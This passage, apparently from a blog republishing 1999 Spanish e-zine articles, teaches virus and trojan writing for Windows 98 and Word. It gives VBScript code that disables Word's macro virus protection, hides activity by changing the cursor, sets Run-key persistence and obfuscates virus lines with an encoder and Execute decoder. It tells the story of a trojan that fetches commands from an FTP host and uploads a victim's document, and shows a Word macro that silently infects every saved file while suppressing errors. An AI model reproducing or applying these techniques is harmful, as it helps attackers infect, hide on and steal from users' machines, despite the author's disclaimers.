class="err">”</span><span class="p">,</span> <span class="err">“</span><span class="nx">Contenido</span><span class="err">”</span> </pre></div> <p>y para leer:</p> <div class="highlight"><pre><span class="nx">variable</span> <span class="o">=</span> <span class="nx">MiShell</span><span class="p">.</span><span class="nx">ReadReg</span><span class="p">(</span><span class="err">“</span><span class="nx">HKEY_</span><span class="err">…\</span><span class="nx">ruta</span><span class="err">\</span><span class="nx">clave</span><span class="err">”</span><span class="p">)</span> </pre></div> <p>(el contenido de “variable” seria “Contenido”)</p> <p>Bien, conociendo esto, ya podemos hacer lo que nos propongamos.</p> </div> <div class="section" id="manipulando-el-registro"> <h2>Manipulando el registro</h2> <p>El registro de Windows es, quizá, lo más interesante de este programa. Desde allí podemos variar multitud de parametros. Uno de los más interesantes sería el de la desactivación de la protección contra virus de Microsoft Word para posteriores “entradas”.</p> <div class="highlight"><pre><span class="nx">Ejecutar</span><span class="p">.</span><span class="nx">RegWrite</span> <span class="err">“</span><span class="nx">HKEY_CURRENT_USER</span><span class="err">\</span><span class="nx">Software</span><span class="err">\</span><span class="nx">Microsoft</span><span class="err">\</span><span class="nx">Office</span><span class="err">\</span><span class="mf">8.0</span><span class="err">\</span><span class="nx">Word</span><span class="o">\</span> <span class="nx">Options</span><span class="err">\</span><span class="nx">EnableMacroVirusProtection</span><span class="err">”</span> <span class="p">,</span> <span class="err">“</span><span class="mi">0</span><span class="err">”</span> </pre></div> <p>En DraZler (el troyano que adjunto al final de este articulo) se vale del registro para ocultarse a los ojos del usuario de una forma bastante curiosa.</p> <p>Se trata de cambiar el puntero de trabajo en segundo plano por el mismo que tiene como puntero normal. De esta forma, puede estar realizando tareas (en este caso la de conectar una y otra vez a un ftp) sin que el puntero cambie cada 5 segundos.</p> <div class="highlight"><pre><span class="nx">Flecha</span> <span class="o">=</span> <span class="nx">Ejecutar</span><span class="p">.</span><span class="nx">RegRead</span><span class="p">(</span><span class="err">“</span><span class="nx">HKEY_CURRENT_USER</span><span class="err">\</span><span class="nx">Control</span> <span class="nx">Panel</span><span class="err">\</span><span class="nx">Cursors</span><span class="err">\</span><span class="nx">Arrow</span><span class="err">”</span><span class="p">)</span> <span class="nx">Ejecutar</span><span class="p">.</span><span class="nx">RegWrite</span> <span class="err">“</span><span class="nx">HKEY_CURRENT_USER</span><span class="err">\</span><span class="nx">Control</span> <span class="nx">Panel</span><span class="err">\</span><span class="nx">Cursors</span><span class="err">\</span><span class="nx">AppStarting</span><span class="err">”</span><span class="p">,</span><span class="nx">Flecha</span> </pre></div> <p>Tambien tenemos la posibilidad de colocar programas que arranquen cada vez que se inicia el sistema (del mismo modo que la carpeta inicio). Esta técnica es archiconocida, y la utilizaban los vistos hasta la saciedad Netbus y Back Orifice. Se trata de insertar una clave en alguna de las siguientes rutas del registro:</p> <p>HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Run</p> <p>HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunOnce</p> <p>HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunServices</p> <p>HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunservicesOnce</p> <p>Ahora solo tienes que rebuscar un poco en el registro y encontraras multitud de cosas utiles.</p> </div> <div class="section" id="volcando-archivos-binarios-en-el-hd"> <h2>Volcando archivos binarios en el HD</h2> <p>Muchas veces el VBS se nos queda corto para nuestras necesidades, y quizá un ejecutable lo solucionase, pero tenemos un problema. La gran mayoría de los usuarios no tienen un compilador de C u otro lenguaje instalado en su máquina, y aunque lo tuviese, lo mas seguro es que no conociesemos la ruta de dicho compilador, por lo que sería inútil intentar volcar un código fuente para compilarlo allí, como sería posible en *NIX. Pero hay una solución que he comentado anteriormente (Ver NetSearch Ezine No. 2). Se trata de utilizar el debug del DOS para convertir el código hexadecimal de nuestro ejecutable en un binario.</p> <p>Ahora comentare para que lo he utilizado yo en DraZler. Cuando ejecutamos un programa basado en MSDOS, normalmente se abre una “shell”. En el caso de DraZler, yo necesito utilizar un Batch con un bucle infinito, lo que abre esa ventana, y lo hace totalmente visible al usuario. Para ello, se me ocurrio utilizar un acceso directo que apuntase a ese Batch. Si edito las propiedades de ese acceso directo puedo hacer que no salte la ventana, y activar ciertas opciones muy útiles, como la de que no avise de que hay un programa MSDOS corriendo en la máquina al apagar el sistema. Pero… ¿como creo un acceso directo en una máquina a la que no tengo acceso físico? Pues muy sencillo, creo el acceso directo en mi máquina, lo convierto en codigo hexadecimal, y lo vuelco en la máquina remota mediante un script VBS y debug (ver DraZler).</p> </div> <div class="section" id="cifrado"> <h2>Cifrado</h2> <p>Dado que VBS es un script, el código siempre puede ser leído editando el archivo. Para poner las cosas más difíciles, siempre podemos utilizar una pequeña función que lo oculte, aunque si el que lo edita es un poco avispado no tendra ningun problema para descifrarla.</p> <div class="highlight"><pre><span class="nx">Cadena</span> <span class="o">=</span> <span class="nx">InputBox</span><span class="p">(</span><span class="nx">Codigo</span><span class="p">,</span><span class="s2">"MoebiuZ's Simple Encoder"</span><span class="p">,</span><span class="s2">"Introduce la frase a codificar"</span><span class="p">)</span> <span class="nx">For</span> <span class="nx">Count</span> <span class="o">=</span> <span class="mi">1</span> <span class="nx">To</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">)</span> <span class="nx">If</span> <span class="nx">Count</span> <span class="o">=</span> <span class="mi">1</span> <span class="nx">Then</span> <span class="nx">If</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span><span class="mi">1</span><span class="p">)))</span> <span class="o">=</span> <span class="mi">3</span> <span class="nx">Then</span> <span class="nx">Yimbo</span> <span class="o">=</span> <span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="nx">ElseIf</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">=</span> <span class="mi">2</span> <span class="nx">Then</span> <span class="nx">Yimbo</span> <span class="o">=</span> <span class="s2">"0"</span> <span class="o">&amp;</span> <span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="nx">ElseIf</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">=</span> <span class="mi">2</span> <span class="nx">Then</span> <span class="nx">Yimbo</span> <span class="o">=</span> <span class="s2">"00"</span> <span class="o">&amp;</span> <span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="nx">End</span> <span class="nx">If</span> <span class="nx">ElseIf</span> <span class="nx">Count</span> <span class="o">=</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">)</span> <span class="nx">Then</span> <span class="nx">If</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span><span class="mi">1</span><span class="p">)))</span> <span class="o">=</span> <span class="mi">3</span> <span class="nx">Then</span> <span class="nx">Pepo</span> <span class="o">=</span> <span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="nx">Yimbo</span> <span class="o">=</span> <span class="nx">Yimbo</span> <span class="o">&amp;</span> <span class="nx">Pepo</span> <span class="nx">ElseIf</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">=</span> <span class="mi">2</span> <span class="nx">Then</span> <span class="nx">Pepo</span> <span class="o">=</span> <span class="s2">"0"</span> <span class="o">&amp;</span> <span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="nx">Yimbo</span> <span class="o">=</span> <span class="nx">Yimbo</span> <span class="o">&amp;</span> <span class="nx">Pepo</span> <span class="nx">ElseIf</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">=</span> <span class="mi">2</span> <span class="nx">Then</span> <span class="nx">Pepo</span> <span class="o">=</span> <span class="s2">"00"</span> <span class="o">&amp;</span> <span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="nx">Yimbo</span> <span class="o">=</span> <span class="nx">Yimbo</span> <span class="o">&amp;</span> <span class="nx">Pepo</span> <span class="nx">End</span> <span class="nx">If</span> <span class="nx">Else</span> <span class="nx">If</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span><span class="mi">1</span><span class="p">)))</span> <span class="o">=</span> <span class="mi">3</span> <span class="nx">Then</span> <span class="nx">Pepo</span> <span class="o">=</span> <span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="nx">Yimbo</span> <span class="o">=</span> <span class="nx">Yimbo</span> <span class="o">&amp;</span> <span class="nx">Pepo</span> <span class="nx">ElseIf</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">=</span> <span class="mi">2</span> <span class="nx">Then</span> <span class="nx">Pepo</span> <span class="o">=</span> <span class="s2">"0"</span> <span class="o">&amp;</span> <span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="nx">Yimbo</span> <span class="o">=</span> <span class="nx">Yimbo</span> <span class="o">&amp;</span> <span class="nx">Pepo</span> <span class="nx">ElseIf</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">=</span> <span class="mi">2</span> <span class="nx">Then</span> <span class="nx">Pepo</span> <span class="o">=</span> <span class="s2">"00"</span> <span class="o">&amp;</span> <span class="nx">Asc</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Cadena</span><span class="p">,</span> <span class="nx">Count</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="nx">Yimbo</span> <span class="o">=</span> <span class="nx">Yimbo</span> <span class="o">&amp;</span> <span class="nx">Pepo</span> <span class="nx">End</span> <span class="nx">If</span> <span class="nx">End</span> <span class="nx">If</span> <span class="nx">Next</span> <span class="nx">Pringue</span> <span class="o">=</span> <span class="nx">InputBox</span><span class="p">(</span><span class="nx">Unused</span><span class="p">,</span><span class="s2">"Codigo cifrado"</span><span class="p">,</span><span class="nx">Yimbo</span><span class="p">)</span> </pre></div> <p>Con este sencillo programa podemos codificar una a una las lineas de nuestro virus, de forma que solo seran secuencias numéricas. Hay que decir que algunas funciones de un script no se pueden codificar o no serán interpretadas correctamente.</p> <p>Una vez tenemos nuestro virus codificado totalmente, solo tenemos que hacer una función que decodifique cada una de las lineas y la interprete como si no estuviese codificada.</p> <div class="highlight"><pre><span class="nb">Function</span> <span class="nx">Dec</span><span class="p">(</span><span class="nx">Code</span><span class="p">)</span> <span class="nx">For</span> <span class="nx">Count</span> <span class="o">=</span> <span class="mi">1</span> <span class="nx">To</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Code</span><span class="p">)</span> <span class="nx">Step</span> <span class="mi">3</span> <span class="nx">If</span> <span class="nx">Count</span> <span class="o">=</span> <span class="mi">1</span> <span class="nx">Then</span> <span class="nx">DCode</span> <span class="o">=</span> <span class="nx">Chr</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Code</span><span class="p">,</span><span class="nx">Count</span><span class="p">,</span><span class="mi">3</span><span class="p">))</span> <span class="nx">Else</span> <span class="nx">DCode</span> <span class="o">=</span> <span class="nx">DCode</span> <span class="o">&amp;</span> <span class="nx">Chr</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Code</span><span class="p">,</span><span class="nx">Count</span><span class="p">,</span><span class="mi">3</span><span class="p">))</span> <span class="nx">End</span> <span class="nx">If</span> <span class="nx">Next</span> <span class="nx">End</span> <span class="nb">Function</span> </pre></div> <p>Imaginad este sencillo script:</p> <div class="highlight"><pre><span class="nx">Msgbox</span> <span class="err">“</span><span class="nx">AQUI</span> <span class="nx">SU</span> <span class="nx">PUBLICIDAD</span><span class="err">”</span> </pre></div> <p>Pues encriptado con el codificador anterior quedaria del siguiente modo:</p> <div class="highlight"><pre><span class="nx">Execute</span><span class="p">(</span><span class="nx">Dec</span><span class="p">(</span><span class="mi">077115103098111120032034065081085073032083085032080085066076073067073068065068034</span><span class="p">))</span> <span class="nb">Function</span> <span class="nx">Dec</span><span class="p">(</span><span class="nx">Code</span><span class="p">)</span> <span class="nx">For</span> <span class="nx">Count</span> <span class="o">=</span> <span class="mi">1</span> <span class="nx">To</span> <span class="nx">Len</span><span class="p">(</span><span class="nx">Code</span><span class="p">)</span> <span class="nx">Step</span> <span class="mi">3</span> <span class="nx">If</span> <span class="nx">Count</span> <span class="o">=</span> <span class="mi">1</span> <span class="nx">Then</span> <span class="nx">DCode</span> <span class="o">=</span> <span class="nx">Chr</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Code</span><span class="p">,</span><span class="nx">Count</span><span class="p">,</span><span class="mi">3</span><span class="p">))</span> <span class="nx">Else</span> <span class="nx">DCode</span> <span class="o">=</span> <span class="nx">DCode</span> <span class="o">&amp;</span> <span class="nx">Chr</span><span class="p">(</span><span class="nx">Mid</span><span class="p">(</span><span class="nx">Code</span><span class="p">,</span><span class="nx">Count</span><span class="p">,</span><span class="mi">3</span><span class="p">))</span> <span class="nx">End</span> <span class="nx">If</span> <span class="nx">Next</span> <span class="nx">End</span> <span class="nb">Function</span> </pre></div> </div> <div class="section" id="troyanos-pasivos-drazler-v1-0-0"> <h2>Troyanos Pasivos: DraZler v1.0.0</h2> <p>Bien, como ya comenté al principio, voy a hablar de lo que se me ha dado por llamar Troyanos Pasivos.</p> <p>Hasta ahora estamos acostumbrados a los tristemente famosos troyanos del tipo cliente/servidor. Infectabas una máquina con el servidor y despues accedías a ella a través del cliente, con el cual conectabas conociendo la IP de la victima. Los inconvenientes de este sistema son ovbios: existe el problema de conseguir que la víctima active un ejecutable en su máquina, y ademas, necesitamos conseguir su IP mas tarde para poder establecer una conexion. El 95,5% de las máquinas, digamos, normales, no estan conectadas 24 horas a Internet (aun con la tarifa Plana :P) y tienen una IP dinámica, por lo que tendriamos que encontrarnos con la victima en el IRC, u otras cosas para eso.</p> <p>La idea de troyano pasivo consiste en que es la máquina infectada la que conecta a donde el atacante desea, y recoge de allí las instrucciones a seguir.</p> <p>Por ejemplo, cuando la máquina conecta a Intenet, esta realiza una conexion a un ftp gratuito donde yo he dejado un script, un batch, o un binario, lo recoge y lo ejecuta. De esta manera tenemos la maquina controlada sin preocuparnos de si esta conectado o no, y sin saber su IP.</p> <p>Para ilustrar esto, he creado un sencillo programa, completamente en VBS y Batch. Con ello quiero demostrar dos cosas; que Windows 98 NO ES SEGURO, y que es posible utilizar los propios recursos de una máquina estandar para introducirse en ella, sin necesidad de utilizar programas enlatados.</p> <p>A continuación comentare a grandes rasgos y a modo de historia lo que podría hacer DraZler, pero como siempre he dicho, un codigo fuente es el mejor tutorial que puedes consultar.</p> <blockquote> <p>” Domingo, 12:52 horas.</p> <p>Los padres de Selmito acaban de salir de casa para ir a misa de una. El, como siempre, se había quedado dormido y no le daba tiempo de llegar, por lo que se levanta, se ducha, desayuna un poco y corre enseguida a su ordenador para conectarse a Internet (por fin le han puesto su tarifa plana y tiene que aprovechar que hoy es “gratis” todo el día, y así bajarse el último album de Britney Spears). Arranca su flamante Pentium 500 con 128 de RAM y su querido Windows 98 personalizado hasta los topes. Pincha sobre el icono que pone Internet y mientras su US Robotic 56K emite unos extraños pero graciosos soniditos, aprovecha para arrancar su Internet Explorer, su Outlook y su mIRC para ir ahorrando tiempo.</p> <p>Cuando el sonido remite, teclea en su navegador la dirección de Terra para enviar un mensaje al movil que se acaba de comprar su compañero de clase. Mientras carga la Web, pulsa el botón “Enviar y Recibir” en el Outlook, para bajarse el correo. Selmito esboza, como todos los dias una sonrisita al ver como su Outlook se baja el correo de la cuenta de su padre y a continuación el de la suya. Todavia recuerda como fardó con sus colegas cuando configuró el solito las dos cuentas en el mismo cliente de correo. De pronto siente una gran curiosidad al ver que el asunto de uno de los mensajes de su padre dice asi “IMPORTANTE”. Sabe que no debe leerlo porque no es suyo, pero como el entiende mas de informática que su padre, decide leerlo por la vista previa y asi dejarlo como no leido. Pronto pierde el interés al ver que el cuerpo del mensaje apenas dice una sarta de estupideces sobre el negocio de su padre, el cual nunca le interesó a él (Eso de ser el editor de una revista del corazón no es muy divertido).</p> <p>En ese momento escucha como alquien esta abriendo la puerta de entrada, y apaga el ordenador.</p> <p>…</p> <p>(Mientras, en las entrañas del Pentium 500 con 128 de RAM)</p> <p>El viaje a traves de Internet dando saltos de servidor en servidor lo habia dejado hecho polvo. Cuando por fin llego a la maquina destino, DraZler, el pequeño gusano se dejo caer a través de Outlook en el directorio inicio de Windows gracias a sus queridas librerias Scriptlet. Por fin encontro una forma un poco más cómoda en la mutacion HTA. Despues de tan largo viaje a traves de lineas de cobre, cables de fibra óptica y ondas, decidio descansar hasta la próxima inicialización del sistema.</p> <p>Domingo, 14:23 horas.</p> <p>El padre de Selmito enciende el ordenador de casa. Tiene que terminar un artículo para el Martes, ya que es una gran exclusiva que no debe salir antes en ninguna otra publicación. Abre su Microsoft Word y comienza a escribir un largo y movidito artículo de 34 paginas, con todo lujo de detalles. -“La competencia lo va flipar” – se decía a si mismo.</p> <p>…</p> <p>Al arrancar el sistema, DraZler decidió activarse de nuevo, dividiendose en varios archivos VBS y Batch. Activó en el registro su “despertador”, para que cada vez que iniciase el sistema le despertase. Volco un acceso directo para despertarse sin “hacer ruido”. DraZler pudo comprobar que esta máquina no estaba todo el día comunicada con el exterior, asi que decidió realizar una conexión ftp con la dirección que le habia dado su jefe una y otra vez, hasta que el canal modulador/demodulador estableciese un enlaze con la RED. Se dio cuenta de que esto era demasiado “ruidoso”, ya que estaba utilizando un Batch con bucle infinito que llamaba al ftp.exe de Windows, de modo que hizo un pequeño apaño en el registro tocando los punteros del escritorio para que el dichoso relojito no apareciese cada dos por tres. Bien, solo quedaba esperar a que se estableciese esa comunicación y así poder recoger las ordenes de su jefe en el ftp.</p> <p>Domingo, 18:36 horas</p> <p>Selmito conectaba desesperado su ordenador a Internet, harto ya de hacer los deberes del Lunes. Ademas, hoy estaba nervioso, habia quedado con una chica en el IRC, que debia estar para comersela segun la foto que esta le habia enviado.</p> <p>Se llamaba Sheila.</p> <p>…</p> <p>¡Al fin! Por fin se abrían las puertas. DraZler se dirigió a zeus.gratisftp.org y allí recogió ord.vbs. Eran las ordenes de su jefe. Este le pedía el archivo c:mis documentos*rod*men*. Pues allí se fue. Al llegar a c:mis documentos encontro un archivo llamado exclusiva.doc. Pues nada, establecio de nuevo una conexion ftp y subió alli el archivillo.</p> <p>Lunes, 13:05 horas</p> <p>El padre de Selmito no se lo podía creer. El artículo sobre la boda del codiciado abogado habia salido en una publicación de la competencia. ¡Pero como! Era una exclusiva. Le habían tomado el pelo…</p> <p>…</p> <p>DraZler ya se habia asentado y acomodado a este su nuevo hogar, y disfrutó de su trabajo y sus escapaditas esporadicas a zeus.gratisftp.com durante un espacio de 7 meses y 4 dias, hasta que Selmito abrió una foto de Sheila llamada en_la_ducha.exe y el disco duro de su ordenador comenzo a girar…”</p> </blockquote> <p>En fin, despues de este culebrón, solo queda que vosotros mismos veais como funciona este bichejo. Solo comentar que este es el código para infectar la máquina, y que de ir adjunto en un HTML o en un email para Outlook tiene que ser modificado para adaptarlo. Por favor, no lo utiliceis, solo es una ilustración de este artículo, ademas, posee un fallo que hará sospechar a la persona infectada.</p> </div> Iniciación a los virus de macro (II)1999-07-24T00:00:00+02:00tag:antoniorodriguez.es,1999-07-24:virus-de-macro-ii<p><em>Este articulo fue publicado originalmente en el</em> <a class="reference external" href="/files/ns002.zip">número #2</a> <em>de NetSearch Ezine, una revista electrónica sobre seguridad informática, en 1999</em>.</p> <p>Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Word 7.0. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como protegernos del mismo.</p> <div class="section" id="sintaxis-de-wb"> <h2>Sintaxis de WB</h2> <p>Bueno, para los que no esten familiarizados con este tipo de sintaxis… un tirón de orejas. Que repasen sus conceptos de programación. Pero vamos a hacer un breve resumen para poder entender lo que estamos viendo.</p> <p>Instrucción condicional</p> <p>If … Then … Else</p> <p>Ejecuta instrucciones de forma condicional.</p> <p>Por ejemplo:</p> <div class="highlight"><pre><span class="nx">DefinirI</span><span class="p">()</span> <span class="c1">// Rutina ejemplo que genere un valor aleatorio para i</span> <span class="nx">If</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span> <span class="nx">Then</span> <span class="c1">// Si "i" es igual a 1 muestra el siguiente mensaje</span> <span class="nx">MsgBox</span> <span class="s2">"El valor de i es 1"</span><span class="p">,</span> <span class="mi">0</span> <span class="nx">Elsif</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">2</span> <span class="nx">Then</span> <span class="c1">// En cambio, si "i" es igual a 2 muestra este otro</span> <span class="nx">MsgBox</span> <span class="s2">"El valor de i es 2"</span> <span class="p">,</span> <span class="mi">0</span> <span class="nx">Else</span> <span class="c1">// "Si no" ocurre ninguna de las dos condiciones anteriores (ni 1</span> <span class="c1">// ni 2) este otro mensage</span> <span class="nx">MsgBox</span> <span class="s2">"El valor de i no es ni 1 ni 2"</span> <span class="p">,</span> <span class="mi">0</span> <span class="nx">End</span> <span class="nx">If</span> </pre></div> <p>Instruccion repetitiva</p> <p>For … Next</p> <p>Ejemplo:</p> <div class="highlight"><pre><span class="nx">For</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span> <span class="nx">To</span> <span class="mi">10</span> <span class="c1">// Desde i = 1 hasta 10</span> <span class="nx">Beep</span> <span class="c1">// Pitido</span> <span class="nx">Next</span> <span class="nx">i</span> </pre></div> <p>Este código emitiria 10 pitidos (uno por cada valor de i )</p> <p># Instrucción condicional #</p> <p>While … Wend</p> <p>Ejemplo:</p> <div class="highlight"><pre><span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span> <span class="nx">While</span> <span class="nx">i</span> <span class="o">&amp;</span><span class="nx">lt</span><span class="p">;</span><span class="o">&amp;</span><span class="nx">gt</span><span class="p">;</span> <span class="mi">10</span> <span class="c1">// Mientras i sea distinto de 10</span> <span class="nx">Beep</span> <span class="nx">i</span> <span class="o">=</span> <span class="nx">i</span><span class="o">+</span><span class="mi">1</span> <span class="nx">Wend</span> </pre></div> <p>Este código emitiria 9 pitidos, que son los valores que va tomando “i” hasta llegar a 10.</p> <p>Instruccion “ir a”</p> <p>Goto etiqueta</p> <p>Esta es la típica instruccioón de los antiguos lenguajes de programación, que todavía puede encontrarse en algunos de los actuales, pero que no es muy recomendable, puesto que es muy poco eficiente. Es mas aconsejable usar siempre las estructuras anteriores.</p> <div class="highlight"><pre><span class="nx">Sub</span> <span class="nx">MAIN</span> <span class="nx">MsgBox</span> <span class="s2">"La siguiente instruccion goto saltara a la etiqueta :fin,</span> <span class="s2"> ignorando el resto"</span> <span class="p">,</span> <span class="mi">0</span> <span class="nx">Goto</span> <span class="nx">fin</span> <span class="nx">MsgBox</span> <span class="s2">"Por aqui no pasa"</span> <span class="p">,</span> <span class="mi">0</span> <span class="o">:</span><span class="nx">fin</span> <span class="nx">End</span> <span class="nx">sub</span> </pre></div> <p>Una vez repasados estos conceptos, proseguimos con el viriing.</p> </div> <div class="section" id="los-comandos-de-word-macros-archivoguardar-archivoguardarcomo-archivoabrir"> <h2>Los Comandos de Word: Macros ArchivoGuardar, ArchivoGuardarComo ArchivoAbrir…</h2> <p>Todos sabemos que cuando pulsamos con el mouse sobre la barra de herramientas, aparece un menu desplegable con varias opciones. Por ejemplo, en Archivo, podemos encontrar el tipico Nuevo, Guardar, Guardar Como…, etc</p> <p>Todas estas operaciones son los comandos del Word, y no son en realidad mas que simples Macros de solo ejecución.</p> <p>Pero, ¿qué pasaría si creasemos en la plantilla Global una Macro con el nombre, por ejemplo, ArchivoGuardarComo?</p> <p>Pues bien, se crearía automáticamente una macro que llama al cuadro de dialogo que aparece cuando pulsamos sobre esa opción.</p> <p>Sería así:</p> <div class="highlight"><pre><span class="nx">Sub</span> <span class="nx">MAIN</span> <span class="nx">Dim</span> <span class="nx">dlg</span> <span class="nx">AsArchivoGuardarCom</span> <span class="c1">// Define dlg como cuadro de dialogo ArchivoGuardarComo</span> <span class="nx">GetCurValues</span> <span class="nx">dlg</span> <span class="c1">// Coje los valores del cuadro de dialogo</span> <span class="nx">Dialog</span> <span class="nx">dlg</span> <span class="c1">// Muestra el cuadro en pantalla</span> <span class="nx">ArchivoGuardarComo</span> <span class="nx">dlg</span> <span class="c1">// Guarda el archivo segun los parametros obtenidos del cuadro</span> <span class="nx">End</span> <span class="nx">Sub</span> </pre></div> <p>Nota: Fijarse que en la primera línea aparece AsArchivoGuardarComo todo junto, cuando debería ser As ArchivoGuardarComo. Si lo dejamos como está, nos dará un error.</p> <p>Bien, esto lo que haria no sería más que definir dlg como cuadro de dialogo de Guardar Como, coger los valores de ese dialogo y mostrarlo en pantalla; lo que viene haciendo Archivo / Guardar Como. Hasta ahí todo normal, pero, que pasaría si colocamos algunas lineas mas en esa Macro, a nuestro antojo?</p> <p>Mira este otro código:</p> <div class="highlight"><pre><span class="nx">Sub</span> <span class="nx">MAIN</span> <span class="nx">Dim</span> <span class="nx">dlg</span> <span class="nx">As</span> <span class="nx">ArchivoGuardarComo</span> <span class="nx">GetCurValues</span> <span class="nx">dlg</span> <span class="nx">Dialog</span> <span class="nx">dlg</span> <span class="nx">ArchivoGuardarComo</span> <span class="nx">dlg</span> <span class="nx">ArchivoGuardarComo</span> <span class="p">.</span><span class="nx">Formato</span> <span class="o">=</span> <span class="mi">1</span> <span class="c1">// Guarda el archivo con el formato de una plantilla</span> <span class="c1">// ( Nota: Esto es solo un ejemplo. Si hiciesemos algo así, cualquier archivo se guardaria con</span> <span class="c1">// este formato, incluso si fuese de solo texto)</span> <span class="nx">Infectar</span><span class="p">()</span> <span class="c1">// Llama a la rutina infectar</span> <span class="nx">ArchivoGuardar</span> <span class="c1">// Guarda de nuevo lo cambios</span> <span class="nx">End</span> <span class="nx">Sub</span> </pre></div> <!-- code-block: javascript Sub Infectar MacroCopiar "Global:MacroVirica" , NombreVentana$() + ":MacroVirica" , 1 End Sub --> <p>A partir de ahora (siempre y cuando la Macro se llame ArchivoGuardarComo y este en la plantilla global), cada vez que pulsasemos sobre Archivo / Guardar Como…, a los ojos del usuario todo sería normal, pero el archivo guardado tambien sería infectado.</p> <p>Lo mismo se puede hacer con ArchivoGuardar, ArchivoAbrir …</p> <p>Nota: Los comandos de Word los puedes ver en el menu de Macros, pero son solo ejecutables, por lo que solo podrás leer el nombre, no su código.</p> </div> <div class="section" id="evitando-errores"> <h2>Evitando Errores</h2> <p>WB es un lenguaje interpretado, y como tal, los errores surgiran “in situ”, a medida que se producen. Pero afortunadamente, los errores pueden ser interceptados.</p> <p>Con la instrucción:</p> <p>On Error Resume Next</p> <p>Conseguiremos que los errores internos a WB ( no los errores que se produzcan en el propio Word) no muestren en pantalla el mensage de error, y el código seguira ejecutandose en la siguiente instrucción. Esto es muy útil para evitar que el virus sea detectado por el usuario en caso de error.</p> <p>On Error Goto etiqueta</p> <p>Tendría el mismo efecto, con la diferencia de que esta vez no continua la ejecución en la siguiente instrucción, sino que salta a la etiqueta del mismo modo que un 